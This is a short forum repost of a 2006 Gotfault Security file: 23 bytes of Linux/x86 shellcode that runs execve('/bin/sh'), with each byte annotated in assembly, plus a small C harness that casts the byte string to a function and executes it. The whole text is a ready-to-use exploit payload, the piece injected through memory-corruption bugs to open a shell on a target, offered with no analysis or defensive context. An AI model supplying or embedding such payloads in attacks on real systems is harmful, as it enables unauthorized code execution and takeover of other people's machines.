linux/x86 execve("/bin/sh", ["/bin/sh", NU
文章作者：Gotfault Security[code]/*
* linux-x86-binshv2.c - 23 bytes
* Copyright (c) 2006 Gotfault Security <[email]xgc@gotfault.net[/email]>
*
* (Linux/x86) execve("/bin/sh", ["/bin/sh", NULL])
*
*/
char shellcode[] =
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();
}[/code]
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